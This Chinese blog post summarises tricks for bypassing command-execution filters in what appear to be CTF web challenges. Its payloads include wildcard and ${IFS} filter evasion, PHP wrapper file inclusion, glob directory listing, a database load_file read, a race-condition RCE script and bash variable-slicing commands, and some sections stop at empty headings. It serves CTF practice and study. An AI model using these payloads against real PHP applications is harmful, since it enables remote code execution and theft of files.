web安全-命令执行绕过小技巧总结
【摘要】 命令执行绕过小技巧:https://www.cnblogs.com/NPFS/p/13279815.html29~31:https://blog.csdn.net/miuzzx/article/details/108420246?spm=1001.2014.3001.5501知识点:1.通配符绕过2.反引号执行系统命令3.空格过滤+cat过滤绕过32~36:https://blog.csdn...
命令执行绕过小技巧:
29~31:
知识点:
1.通配符绕过
2.反引号执行系统命令
3.空格过滤+cat过滤绕过
32~36:
知识点:
全是 php://伪协议 + 魔法数组
-----------------------------------------
37~40:
知识点:
1.data伪协议 + 通配符
2.构造数组 + 数组逆序 + 读取文件
-----------------------------------------
43~44:
知识点:
1.或绕过(难)
2.%0a截断, ";"截断
-----------------------------------------
45~52:
知识点:
1.%0a截断, %09绕过空格,
''绕过preg_match
2.cat绕过(more,head,sort,nl),
%0a截断 ,
%09绕过空格,
''绕过preg_match
3.
"<>"绕过空格
"/"绕过空格
"<"绕过空格
4.
ls / 查看根目录
nl /flag 访问根目录下的flag文件
-----------------------------------------
53~56:
知识点:
1.(55)
?通配符绕过(?匹配单个字符)
+ ${IFS}绕过
+ cat绕过
(more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|paste)
2.(55/56)[难]
只要进行操作,其对应超全局变量一定会存在(只是存在的时间的长短)
所以我们只需要不断执行上传的文件,就能成功(条件竞争)
利用临时文件进RCE:https://www.xiinnn.com/article/c61c3788.html
payload:
exp:
```
import requests
while True:
url = "url/?c=.%20/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
if r.text.find("flag") > 0:
print(r.text)
break
```
-----------------------------------------
57~69:
1.(57)构造数字:
没有过滤'$', '(', ')'
这道题的目的是构造36这个数字,这里利用了$(( ))与整数运算
$(())------是0,
假设$(())为一个单位,用'A'来表示,那么$(($(())))则表示为A(A)
~A-------是-0
A(~A)---------是-1
所以A(~A(中间36个-1相加))--------是36
2.(58~68):
很多危险函数被禁用:
shell_exec(); exec(); system(); phpinfo();
绕过:
显示当前目录下的所有文件:
显示根目录下的所有文件,及访问根目录下的文件:
(在linux下面表示当前目录是 ./ )
文件包含:
show_source(''); echo file_get_contents('');
highlight_file(''); include('');
伪协议包含:
c=include($_GET['1']);
?1=php://filter/convert.base64-encode/resource=flag.php
-----------------------------------------
70~77:
1.(72)open dir绕过[难]
BurpSuite Get请求改为Post请求:
global伪协议,读取根目录下的文件.
```
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
?>
```
或
```
$a="glob:///*.txt";
if($b=opendir($a))
{
while(($file=readdir($b))!==false)
{
echo "filename: ".$file."\n";
}
closedir($b);
}exit(0);
```
当出现下面的情况,也就是并没有权限去访问目录时,需要用exp进行绕过.
payload:(需要先经过url编码)
2.(73~76):
var_export('');能用,
两个payload,一个获取根目录下的文件,一个读取根目录下的文件.
获取根目录下的文件:
```
c=$a="glob:///*.txt";
if($b=opendir($a))
{
while(($file=readdir($b))!==false)
{
echo "filename: ".$file."\n";
}
closedir($b);
}exit(0);
```
读取根目录下的文件:
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
3.(77)[难]:
照常遍历根目录,发现flag36x.txt 和readflag 文件
这里flag36x.txt读取不出来没有回显,所以利用readflag,把他输出到新文件flag.txt中
Payload:
```
?>system("/readflag >flag.txt");exit();
```
-----------------------------------------
118~120:[难]
构造nl flag.php
对系统变量进行截取操作:
求变量长度:
摇色子:
构造/bin/cat flag.php:
(过滤了数字,PATH,BASE,HOME)
因为 ${SHLVL}=1
所以:
payload:
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
或者构造tac flag.php:
tac flag.php:
${PHP_CFLAGS:3:3} ????.???
也就是
${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.???
常见的可利用变量:
-----------------------------------------
121[难]:
(常变量绕过,Bash)
构造/bin/base64 flag.php:
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)